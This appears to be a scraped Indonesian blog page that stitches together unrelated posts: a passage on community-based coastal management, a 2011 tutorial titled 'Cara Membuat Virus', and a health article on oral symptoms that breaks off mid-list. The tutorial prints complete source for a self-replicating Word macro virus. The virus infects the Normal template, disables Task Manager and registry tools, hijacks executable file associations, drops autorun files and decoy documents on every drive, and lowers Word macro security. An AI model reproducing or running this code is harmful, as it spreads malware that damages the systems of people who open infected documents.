Tujuan program yang dikemukakan COREMAP-LIPI (1997) dinilai sejalan dengan pemikiran McAllister (1999) yaitu bahwa di dalam penelitian secara partisipatif untuk kegiatan pengelolaan sumberdaya alam dan lingkungan yang berbasis masyarakat seringkali terfokus pada pengembangan, transformasi atau penguatan kelembagaan masyarakat, sehingga proses identifikasi kelembagaan lokal yang ada dan menganalisisnya untuk mengetahui sejauh mana kelembagaan tersebut berhubungan dengan upaya pengelolaan sumberdaya alam dan lingkungan.

Pengkajian kelembagaan lokal ini harus didasarkan pada pertanyaan mendasar tentang pengelolaan sumberdaya alam dan lingkungan berbasis masyarakat, seperti apakah kelembagaan lokal tersebut sejalan dengan tujuan dari partisipasi lokal ? apakah pembuatan keputusan dilakukan secara demokratis, menjunjung tinggi persamaan dan mempunyai peran dan kepemilikan yang seimbang serta menganut konsep keberlanjutan sumberdaya (konservatif) ? Jika pertanyaan-pertanyaan tersebut tidak lengkap terjawab, maka perlu dilakukan upaya untuk membuat kesepakatan baru secara bersama yang bersifat melembaga dan atau mentransformasi kesepakatan lokal yang telah ada.

Upaya penanggulangan kerusakan lingkungan pesisir dan laut berbasis masyarakat sebaiknya dilakukan dengan meminjam petunjuk teknis pengelolaan berbasis masyarakat (PBM) yang diajukan COREMAP (1997).

(1) Persiapan
Dalam persiapan ini terdapat tiga kegiatan kunci yang harus dilaksanakan, yaitu (i) sosialisasi rencana kegiatan dengan masyarakat dan kelembagaan lokal yang ada, (ii) pemilihan/pengangkatan motivator (key person) desa, dan (iii) penguatan kelompok kerja yang telah ada/pembentukan kelompok kerja baru.

(2) Perencanaan
Dalam melakukan perencanaan upaya penanggulangan pencemaran laut berbasis masyarakat ini terdapat tujuh ciri perencanaan yang dinilai akan efektif, yaitu (i) proses perencanaannya berasal dari dalam dan bukan dimulai dari luar, (ii) merupakan perencanaan partisipatif, termasuk keikutsertaan masyarakat lokal, (iii) berorientasi pada tindakan (aksi) berdasarkan tingkat kesiapannya, (iv) memiliki tujuan dan luaran yang jelas, (v) memiliki kerangka kerja yang fleksibel bagi pengambalian keputusan, (vi) bersifat terpadu, dan (vii) meliputi proses-proses untuk pemantauan dan evaluasi.

(3) Persiapan Sosial
Untuk mendapatkan dukungan dan partisipasi masyarakat secara penuh, maka masyarakat harus dipersiapkan secara sosial agar dapat (i) mengutarakan aspirasi serta pengetahuan tradisional dan kearifannya dalam menangani isu-isu lokal yang merupakan aturan-aturan yang harus dipatuhi, (ii) mengetahui keuntungan dan kerugian yang akan didapat dari setiap pilihan intervensi yang diusulkan yang dianggap dapat berfungsi sebagai jalan keluar untuk menanggulangi persoalan lingkungan yang dihadapi, dan (iii) berperanserta dalam perencanaan dan pengimplementasian rencana tersebut.

(4) Penyadaran Masyarakat
Dalam rangka menyadarkan masyarakat terdapat tiga kunci penyadaran, yaitu
(i) penyadaran tentang nilai-nilai ekologis ekosistem pesisir dan laut serta manfaat penanggulangan kerusakan lingkungan, (ii) penyadaran tentang konservasi, dan
(iii) penyadaran tentang keberlanjutan ekonomi jika upaya penanggulangan kerusakan lingkungan dapat dilaksanakan secara arif dan bijaksana.

(5) Analisis Kebutuhan
Untuk melakukan analisis kebutuhan terdapat tujuh langkah pelaksanaannya, yaitu: (i) PRA dengan melibatkan masyarakat lokal, (ii) identifikasi situasi yang dihadapi di lokasi kegiatan, (iii) analisis kekuatan, kelemahan, peluang dan ancaman, (iv) identifikasi masalah-masalah yang memerlukan tindak lanjut, (v) identifikasi pemanfaatan kebutuhan-kebutuhan yang diinginkan di masa depan, (vi) identifikasi kendala-kendala yang dapat menghalangi implementasi yang efektif dari rencana-rencana tersebut, dan (vii) identifikasi strategi yang diperlukan untuk mencapai tujuan kegitan.

(6) Pelatihan Keterampilan Dasar
Pelatihan keterampilan dasar perlu dilakukan untuk efektivitas upaya penanggulangan kerusakan lingkungan, yaitu (i) pelatihan mengenai perencanaan upaya penanggulangan kerusakan, (ii) keterampilan tentang dasar-dasar manajemen organisasi, (iii) peranserta masyarakat dalam pemantauan dan pengawasan, (iv) pelatihan dasar tentang pengamatan sumberdaya, (v) pelatihan pemantauan kondisi sosial ekonomi dan ekologi, dan (vi) orientasi mengenai pengawasan dan pelaksanaan ketentuan-ketentuan yang berkaitan dengan upaya penanggulangan kerusakan lingkungan dan pelestarian sumberdaya.

(7) Penyusunan Rencana Penanggulangan Kerusakan Lingkungan Pesisir dan Laut secara Terpadu dan Berkelanjutan
Terdapat lima langkah penyusunan rencana penanggulangan kerusakan lingkungan pesisir dan laut secara terpadu dan berkelanjutan, yaitu: (i) mengkaji permasalahan, strategi dan kendala yang akan dihadapi dalam pelaksanaan upaya penanggulangan kerusakan lingkungan, (ii) menentukan sasaran dan tujuan penyusunan rencana penanggulangan, (iii) membantu pelaksanaan pemetaan oleh masyarakat, (iv) mengidentifikasi aktivitas penyebab kerusakan lingkungan, dan (v) melibatkan masyarakat dalam proses perencanaan serta dalam pemantauan pelaksanaan rencana tersebut.

(8) Pengembangan Fasilitas Sosial
Terdapat dua kegiatan pokok dalam pengembangan fasilitas sosial ini, yaitu: (i) melakukan perkiraan atau analisis tentang kebutuhan prasarana yang dibutuhkan dalam upaya penanggulangan kerusakan lingkungan, penyusunan rencana penanggulangan dan pelaksanaan penanggulangan berbasis masyarakat, serta (ii) meningkatkan kemampuan (keterampilan) lembaga-lembaga desa yang bertanggung jawab atas pelaksanaan langkah-langkah penyelamatan dan penanggulangan kerusakan lingkungan dan pembangunan prasarana.

(9) Pendanaan
Pendanaan merupakan bagian terpenting dalam proses implementasi upaya penanggulangan kerusakan lingkungan. Oleh karena itu, peran pemerintah selaku penyedia pelayanan diharapkan dapat memberikan alternatif pembiayaan sebagai dana awal perencanaan dan implementasi upaya penanggulangan. Namun demikian, modal terpenting dalam upaya ini adanya kesadaran masyarakat untuk melanjutkan upaya penanggulangan dengan dana swadaya masyarakat setempat.
Kesembilan proses implementasi upaya penanggulangan pencemaran laut tersebut di atas tidak bersifat absolut, tetapi dapat disesuaikan dengan karakteristik wilayah, sumberdaya dan masyarakat setempat, terlebih bilamana di wilayah tersebut telah terdapat kelembagaan lokal yang memberikan peran positif bagi pengelolaan sumberdaya dan pembangunan ekonomi masyarakat sekitarnya.

Cara Membuat Virus

2011-09-22T05:55:00.000-07:00

Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer tetapi dapat mengakibatkan kerusakan dengan cara memuat program yang memaksa over process ke perangkat tertentu. Efek negatif virus komputer adalah memperbanyak dirinya sendiri, yang membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% virus komputer berbasis sistem operasi Windows. Sisanya menyerang Linux/GNU, Mac, FreeBSD, OS/2 IBM, dan Sun Operating System. Virus yang ganas akan merusak perangkat keras.

(Baca: ilmu dalam tutorial ini untuk pembelajaran bukan untuk disalahgunakan)

Ini adalah tutorial saya yang kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.

Kali ini saya akan membahas mengenai virus macro… (para virus maker diharap untuk tenang dulu!).

Pasti banyak bertanya kenapa kali ini membahas tentang cara membuat virus? Biasanya kan lebih sering membahas analisis virus atau antivirusnya itu….

Yah kali ini memang agak berbeda. Selain untuk mencari suasana baru, aku juga agak tertantang dengan artikel yang saya buat ini.

Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat virus macro untuk mencari celah antivirusku itu. Untuk membuat artikel ini memang butuh pengorbanan juga. Soalnya komputerku jadi terinfeksi oleh virusku sendiri. Haaahhh…..

Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.

CARA MEMBUAT VIRUS

Buka Ms.Word (hanya contoh)
buka tools > Macro> Visual Basic Editor

Akan muncul gambar di bawah

Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.

Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???

Tenang, aku dah siapkan kok sourcenya. Makan neh source code!

‘This is my code’s virus

‘

‘Macro Viruses

‘[Macroid]

‘

‘Hanya untuk pembelajaran

Private Sub Document_Close()

Dim AD, NT As Object

Dim isi As String

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

If AD.Name <> “Macroid” Then

AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines

AD.Name = “Macroid”

isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)

AD.CodeModule.AddFromString isi

ActiveDocument.Save

End If

If NT.Name <> “Macroid” Then

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

NT.Name = “Macroid”

isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)

NT.CodeModule.AddFromString isi

NormalTemplate.Save

End If

If InStr(ActiveDocument.Content, “Macroid”) = 0 Then

ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″

End If

On Error Resume Next

Dim b As Object

Set b = CreateObject(“Wscript.Shell”)

b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”

b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”

b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

On Error Resume Next

Dim rog As Integer

Dim atr, vbs, Tipu(10), Trik(10) As String

For a = 66 To 90

partisi = Chr$(a)

vbs = partisi & “:\auto.vbs”

atr = partisi & “:\autorun.inf”

Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”

Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”

Tipu(3) = partisi & “:\Titip File sebentar.doc”

Tipu(4) = partisi & “:\jangan di baca.doc”

Tipu(5) = partisi & “:\buku harian.doc”

Tipu(6) = partisi & “:\cerita hangat.doc”

Tipu(7) = partisi & “:\Punya Baim.doc”

Tipu(8) = partisi & “:\Teka-teki yang baru.doc”

Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”

Tipu(10) = partisi & “:\Trik Sulap.doc”

If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then

Randomize

rog = Int(10 * Rnd) + 1

Open Tipu(rog) For Output As #1

Print #1, “”

Close #1

End If

Trik(1) = partisi & “:\Novel J.K.Rowling.doc”

Trik(2) = partisi & “:\cerita cinta.doc”

Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”

Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”

Trik(5) = partisi & “:\Kumpulan Cheat game.doc”

Trik(6) = partisi & “:\Cheat game RF.doc”

Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”

Trik(8) = partisi & “:\Goosebumps.doc”

Trik(9) = partisi & “:\FearStreet.doc”

Trik(10) = partisi & “:\R.L.Stine.doc”

If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then

Randomize

rogi = Int(10 * Rnd) + 1

Open Trik(rogi) For Output As #1

Print #1, “”

Close #1

End If

Open atr For Output As #1

Print #1, “[Autorun]“

Print #1, “shell\Open\command=wscript.exe auto.vbs”

Close #1

SetAttr atr, vbHidden + vbSystem

Open vbs For Output As #1

Print #1, “dim a”

Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Close #1

SetAttr vbs, vbHidden + vbSystem

Next a

If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then

Dim isicrita As String

isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _

Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”

Open Environ$(“windir”) & “\Macroid.doc” For Output As #1

Print #1, isicrita

Close #1

End If

If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then

Open Environ$(“windir”) & “\avmc.vbs” For Output As #1

Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”

Print #1, “for each FD in fs.drives”

Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”

Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”

Print #1, “end if”

Print #1, “Next”

Close #1

End If

ActiveDocument.Save

NormalTemplate.Save

End Sub

Private Sub Document_Open()

CommandBars(“Tools”).Controls(“Macro”).Visible = False

CommandBars(“Tools”).Controls(“Macro”).Enabled = False

CommandBars(“Tools”).Controls(“Customize…”).Visible = False

CommandBars(“Tools”).Controls(“Options…”).Visible = False

Dim AD, NT As Object

Dim isi As String

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

If AD.Name <> “Macroid” Then

AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines

AD.Name = “Macroid”

isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)

AD.CodeModule.AddFromString isi

ActiveDocument.Save

End If

If NT.Name <> “Macroid” Then

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

NT.Name = “Macroid”

isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)

NT.CodeModule.AddFromString isi

NormalTemplate.Save

End If

If InStr(ActiveDocument.Content, “Macroid”) = 0 Then

ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″

End If

On Error Resume Next

Dim b As Object

Set b = CreateObject(“Wscript.Shell”)

b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”

b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”

b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

On Error Resume Next

Dim rog As Integer

Dim atr, vbs, Tipu(10), Trik(10) As String

For a = 66 To 90

partisi = Chr$(a)

vbs = partisi & “:\auto.vbs”

atr = partisi & “:\autorun.inf”

Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”

Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”

Tipu(3) = partisi & “:\Titip File sebentar.doc”

Tipu(4) = partisi & “:\jangan di baca.doc”

Tipu(5) = partisi & “:\buku harian.doc”

Tipu(6) = partisi & “:\cerita hangat.doc”

Tipu(7) = partisi & “:\Punya Baim.doc”

Tipu(8) = partisi & “:\Teka-teki yang baru.doc”

Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”

Tipu(10) = partisi & “:\Trik Sulap.doc”

If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then

Randomize

rog = Int(10 * Rnd) + 1

Open Tipu(rog) For Output As #1

Print #1, “”

Close #1

End If

Trik(1) = partisi & “:\Novel J.K.Rowling.doc”

Trik(2) = partisi & “:\cerita cinta.doc”

Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”

Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”

Trik(5) = partisi & “:\Kumpulan Cheat game.doc”

Trik(6) = partisi & “:\Cheat game RF.doc”

Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”

Trik(8) = partisi & “:\Goosebumps.doc”

Trik(9) = partisi & “:\FearStreet.doc”

Trik(10) = partisi & “:\R.L.Stine.doc”

If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then

Randomize

rogi = Int(10 * Rnd) + 1

Open Trik(rogi) For Output As #1

Print #1, “”

Close #1

End If

Open atr For Output As #1

Print #1, “[Autorun]“

Print #1, “shell\Open\command=wscript.exe auto.vbs”

Close #1

SetAttr atr, vbHidden + vbSystem

Open vbs For Output As #1

Print #1, “dim a”

Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Close #1

SetAttr vbs, vbHidden + vbSystem

Next a

End Sub

Hati –hati dengan source diatas. Karena lumayan bikin pening juga. Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.

EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI

Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!

Jawabannya lihat di bawah!!

CARA MEMBUAT VIRUS LANJUTAN

Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid? Itu adalah salah satu contoh virus macro yang saya buat.

Langsung aja.

Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11

Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :

Dim AD as object

Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :

set AD=ActiveDocument.VBProject.VBComponents.Item(1)

ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…

Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)

dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)

if AD.Name “Macroid” then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = “Macroid” end if

contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.

Ini contoh gambarnya…

Efeknya adalah ini.

Itu tandanya virus “Macroid”!!! ha ha ha… oke.

Sebenarnya saya mau menjelaskan lebih banyak soal trik-trik virus macro, tapi saya yakin sebelum sampai diatas pasti masih banyak masalah untuk kalian…

Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security

Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini… tenang aja…

Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.

Ada satu lagi masalah… kalo nanti ”misalnya” ada gambar seperti dibawah ini:

Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project”

Nah klo itu dah dilakukan, maka untuk berikut-berikutnya kalo kita mau ngetes virus macro kita udah bisa….

Sekian dulu tutorialnya….

Kenali Penyakit dari Kondisi Mulut

2011-09-22T05:20:00.000-07:00

Mencegah lebih baik dari mengobati. Pepatah yang sudah sering Anda dengar itu mungkin dapat dilakukan dengan cara sederhana: menyikat gigi dan membersihkan gusi. Menurut para ahli, menyikat gigi dua kali sehari dapat mencegah penyakit jantung dan stroke.

Memang sulit dipercaya bahwa dengan menyikat gigi beberapa menit dapat memberikan dampak yang besar bagi kesehatan. Namun fakta menunjukkan mulut berperan sebagai ‘gerbang’ dari seluruh tubuh dimana gigi dan gusi seseorang dapat mewakili kesehatannya.

“Ada tambahan bukti yang mendukung fakta bahwa kondisi mulut dapat berdampak pada kesehatan secara keseluruhan. Karena itu sangat penting menjaga gigi Anda dan itu mungkin dapat memperpanjang usia Anda,” kata direktur klinis dari Kedokteran Gigi di Ultrasmile, Dr. Thang Nghiem seperti yang dilansir dalam laman Sun edisi 22 September 2011.

Menurutnya beberapa penyakit dapat diketahui dari kondisi mulut seseorang, seperti sakit kuning, radang sendi, anemia, bahkan HIV. Berikut beberapa kondisi mulut yang mungkin disebabkan karena penyakit :

Mulut Kering
Mulut Kering umumnya disebabkan kurang minum air, alergi atau merokok. Namun apabila Anda tidak berada dalam ketiga kondisi tersebut dan mulut masih kering, hati-hati, mungkin itu tanda penyakit sindrom Sjogern. Dr Nghiem mengatakan sindrom ini menyerang kekebalan tubuh dan menghancurkan kelenjar yang memproduksi air mata dan liur sehingga mulut dan mata menjadi kering.

Gigi Retak/patahHal ini merupakan pertanda refluks, yaitu kondisi dimana asam dari perut naik ke kerongkongan. Kondisi ini dapat menyebabkan rasa mulas pada perut dan gangguan lainnya. Dr Nghiem mengatakan asam surut harus ditangani oleh dokter.

Lidah memutihLidah yang berubah warna menjadi putih pucat dapat berarti Anda terjangkit kanker mulut. “Tanda utama kanker mulut adalah lidah pucat dan pipi cekung. Tanda lainnya adalah warna belang putih dan merah atau bisul pada mulut,” kata Dr Nghiem.

BisulBisul pada mulut tidak boleh dianggap remeh. Itu dapat menjadi awal tanda terjadinya radang usus besar atau penyakit Crohn. Penyakit Crohn merupakan infeksi usus yang menyerang semua sistem pencernaan, termasuk mulut.

Warna kuning di bawah lidahLangit-langit mulut atau permukaan bawah lidah yang menguning dapat menandakan penyakit hati. Dr Nghiem menjelaskan kedua tempat tersebut merupakan tempat pertama yang menguning. Apabila kondisi sudah semakin parah, warna kuning juga akan terlihat pada seluruh permukaan halus dalam mulut.

Lidah memerah Orang yang kekurangan darah dapat menunjukkan tanda glositis, radang pada lidah yang mengakibatkan lidah memerah dan kelihatan licin. Tanda lainnya adalah retakan berwarna merah pada sudut mulut.

Sariawan
